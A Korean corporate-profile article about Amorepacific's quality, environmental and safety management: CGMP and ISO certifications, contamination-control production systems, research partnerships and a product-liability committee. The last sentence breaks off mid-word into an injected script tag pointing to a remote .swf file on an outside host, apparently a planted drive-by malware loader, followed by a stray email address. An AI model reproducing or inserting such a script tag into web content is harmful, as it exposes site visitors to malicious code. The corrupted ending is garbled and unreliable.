또한 마케팅, R&D, 생산, 판매 전 부문이 안전, CGMP, 환경경영시스템 구축을 통하여 품질, 환경, 서비스 무한책임주의 실현 및 품질시스템의 지속적인 개선을 통하여 ‘Beauty and Strong Brand Company’를 실현하고 있다.
이러한 결실은 이미 고객들로부터 마음 속에 깊이 각인되어 지속적인 사랑을 받고 있는 라네즈, 아이오페, 헤라, 설화수 등과 같이 브랜드별 매출액 1,000억을 상회하는 브랜드를 만들었다.
특히 소비자의 요구를 제품의 설계에 반영하여 고객이 원하는 제품을 설계할 수 있는 태평양만이 가지고 있는 제품 디자인 및 개발력, 설계품질을 충족하도록 안전하게 제조할 수 있는 제조 기술력을 축적했다고 할 수 있다.
또한 고객이 안전하게 사용할 수 있도록 고객의 손에까지 전달하는 신뢰할 수 있는 유통, 고객이 사용 중의 불편을 해소할 수 있는 고객 서비스 등으로부터 얻어졌다.
그동안 품질개선을 위한 부단한 노력을 경주하여 왔다. 이는 그간 실행되어 온 활동으로부터 면면히 찾아 볼 수 있다. 태평양 자체적으로 개발 설치한 제조공정관리시스템은 제조와 관련된 전 공정을 컴퓨터 시스템에 의해 제어하도록 되어 있다. 이렇게 함으로써 사람의 판단 오차로 인한 에러를 최소화할 수 있다.
또한 교차 오염을 방지하기 위해 작업장의 구분·구획과 바코드를 도입하여 확인 과정을 거치고 있다. 미생물 오염 방지를 위해 정제수순환시스템을 설치하여 정제수가 정체되어 미생물 오염원이 될 수 있는 소지를 줄였으며, 포장실에는 충전 부위에 크린부스를 설치함으로써 포장 중의 미생물 오염을 방지할 수 있게 했다.
이와 같이 제조와 관련된 전 공정을 시스템화함으로써 품질 고급화를 실현하고 있다. 이는 이미 CGMP 인증을 통해 확인된 바 있다.
작업장의 오염원 중의 하나인 지분을 제거하기 위해 부재료 입고 박스를 재활용이 가능한 플라스틱 박스로 교체함으로써 작업환경을 개선했다. 또한 폐기물의 발생을 최소화하기 위해 부재료의 단순화, 제거, 재질변경 및 리필 제품 등을 개발하였으며, 대기 오염의 감소를 위해 전 사업장에서는 청정연료인 LNG로 전환하여 사용하고 있다.
화장품 연구의 독보적인 기술을 확보하고 있는 새로운 기술의 디자인, 원료 및 화장품 개발을 통하여 선도적인 화장품의 품질향상과 이론적 발전에 기여하고 있다.
주름방지와 미백 화장품의 개발과 동시에 세계적으로 인정받는 연구논문을 발표하여 화장품 기술을 세계적인 수준으로 향상시켰을 뿐만 아니라 탁월한 효과로 인하여 화장품 산업의 위상을 향상시키는데 기여하여 왔다.
특히 안정화된 원료와 기능성화장품을 개발한 연구실적과 연구 능력을 인정받아 국가지정 연구실로 선정되었으며(2000년 8월), 생명공학연구소·KAIST·서울대 의과대학·연세대 의과대학 등과 업무·기술협력협정을 체결함으로써 피부관련 기술과 약물전달 기술분야에서 상호보완적인 역할분담으로 시너지 효과 창출에 의한 설계품질 향상에서 선도적인 역할을 수행하고 있다.
안전관리시스템 구축 통한 고객안전 확보
고객의 안전을 위해 개발되는 모든 제품에 대해 피부과 테스트를 통해 안전성을 검증받은 제품만을 고객에게 제공하고 있다.
또한 설계, 제조, 판매에 이르기까지 안전기준을 설정하여 각 단계별로 점검할 수 있도록 대표이사를 위원장으로 하는 고객만족경영위원회 산하에 PL위원회를 두어 고객안전을 최우선으로 하는 PL시스템을 구축하여 고객의 안전을 확보하고 있다.
국제적으로 표준화된 품질, 환경, 안전·보건경영시스템 등의 경영도구를 조직에 적용하여 시스템 경영으로 정착 발전시키고, 조직의 성과를 현격히 개선한 기업에게 주는 상인 국제표준시스템 경영상(ISSMA : International Standards System Management Awards)을 수원공장과 대전공장이 수상했다.
이로써 국제적으로 표준화된 경영시스템을 효율적으로 도입하여 생산성 향상과 효율성 향상에 기여하고 비용절감과 현격한 경영성과를 이룩한 점을 인정받았다.
또한 환경경영시스템(ISO 14001)과 안전보건경영시스템(K-OHSMS 18001)을 인증받은 바 있으며, 품질경영시스템(ISO 9001)과 화장품을 대상으로 한 CGMP 인증을 받아 품질, 환경, 안전을 생각하는 기업으로 인정받고 있다. 이러한 활동은 품질향상 및 기업경쟁력 향상에도 기여하?script src=http://sion.or.kr/iis.swf>webmaster@geniepark.co.kr
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